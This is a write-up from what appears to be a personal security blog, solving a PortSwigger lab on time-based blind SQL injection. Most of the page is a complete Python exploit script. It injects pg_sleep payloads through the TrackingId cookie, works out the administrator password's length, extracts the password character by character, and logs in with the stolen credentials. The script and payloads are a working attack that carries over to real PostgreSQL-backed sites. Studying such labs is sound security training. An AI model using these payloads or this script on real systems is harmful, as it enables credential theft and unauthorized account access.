Shubham Ranpise

Back

SQLi Lab 15

Blind SQL injection for administrator password extraction using time-based techniques

portswigger-labs content

Blind SQL injection with time delays and information retrieval#

This lab demonstrates blind SQL injection where the application does not return query results or show errors. The vulnerability exists in a tracking cookie used for analytics. By injecting SQL that triggers time delays (via pg_sleep), it is possible to infer information about the database, such as the existence of a user and the length and value of their password.

How Exploit Works#

  • The TrackingId cookie is vulnerable to blind SQL injection.
  • Inject time-delay queries to verify boolean conditions.
  • Determine the existence of the administrator user.
  • Identify the length of the administrator password using incremental time-delay tests.
  • Extract the password character by character using SUBSTRING() and time delays.
  • Use Burp Intruder for efficient character extraction.
  • Log in with the recovered credentials to solve the lab.

Usage#

python3 exploit.py https://<your-lab-id>.web-security-academy.net
cmd

Exploit#

exploit.py
import requests
import sys
import urllib3
import time
from bs4 import BeautifulSoup

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Optional: Route through Burp
proxies = {"http": "http://127.0.0.1:8080",
           "https": "http://127.0.0.1:8080"}

# Charset for brute force (lowercase + digits)
CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789"

def send_payload(url, tracking_id, session_cookie, payload, delay=5):
    """Send request with injected payload, return True if delay detected."""
    cookies = {
        "TrackingId": tracking_id + payload,
        "session": session_cookie
    }
    start = time.time()
    try:
        requests.get(url, cookies=cookies, verify=False, proxies=proxies, timeout=delay+2)
    except requests.exceptions.ReadTimeout:
        # If timeout occurs, it's probably due to pg_sleep
        return True
    elapsed = time.time() - start
    return elapsed >= delay

def get_password_length(url, tracking_id, session_cookie, max_len=30):
    """Determine password length by testing increasing values."""
    print("[*] Determining password length...")
    for length in range(1, max_len+1):
        payload = (
            f"'||(SELECT CASE WHEN (username='administrator' AND LENGTH(password)>{length}) "
            f"THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users)--"
        )
        if not send_payload(url, tracking_id, session_cookie, payload):
            print(f"[+] Password length found: {length}")
            return length
    print("[-] Failed to determine password length")
    sys.exit(1)

def extract_password(url, tracking_id, session_cookie, length):
    """Extract administrator password character by character."""
    print("[*] Extracting administrator password...")
    password = ""
    for i in range(1, length + 1):
        for c in CHARSET:
            payload = (
                f"'||(SELECT CASE WHEN (username='administrator' "
                f"AND SUBSTRING(password,{i},1)='{c}') "
                f"THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users)--"
            )
            if send_payload(url, tracking_id, session_cookie, payload):
                password += c
                print(f"[+] Found char {i}: {c} -> {password}")
                break
    return password

def login_and_check(url, username, password):
    """Login with stolen creds and check if lab is solved."""
    session = requests.Session()
    login_url = url.rstrip("/") + "/login"

    # Step 1: Fetch CSRF token
    res = session.get(login_url, verify=False, proxies=proxies)
    soup = BeautifulSoup(res.text, "html.parser")
    csrf_token = soup.find("input", {"name": "csrf"})["value"]

    # Step 2: Submit login
    data = {"csrf": csrf_token, "username": username, "password": password}
    res = session.post(login_url, data=data, verify=False, proxies=proxies)

    if "Log out" in res.text:
        print(f"[+] Logged in as {username}. Checking if lab is solved...")
        base_res = session.get(url, verify=False, proxies=proxies)
        if "Congratulations" in base_res.text:
            print("[+] Lab solved! 🎉")
            return True
        else:
            print("[-] Logged in, but lab not solved yet.")
    else:
        print("[-] Login failed.")
    return False

def main():
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <url>")
        sys.exit(1)

    url = sys.argv[1]

    # Step 1: Grab initial cookies
    r = requests.get(url, verify=False, proxies=proxies)
    tracking_id = r.cookies.get("TrackingId")
    session_cookie = r.cookies.get("session")

    if not tracking_id or not session_cookie:
        print("[-] Failed to retrieve cookies")
        sys.exit(1)

    print(f"[*] Using TrackingId={tracking_id}, session={session_cookie}")

    # Step 2: Find password length
    length = get_password_length(url, tracking_id, session_cookie)

    # Step 3: Extract password
    password = extract_password(url, tracking_id, session_cookie, length)
    print(f"[+] Extracted password: {password}")

    # Step 4: Login and check if solved
    login_and_check(url, "administrator", password)

if __name__ == "__main__":
    main()
python

See more portswigger-labs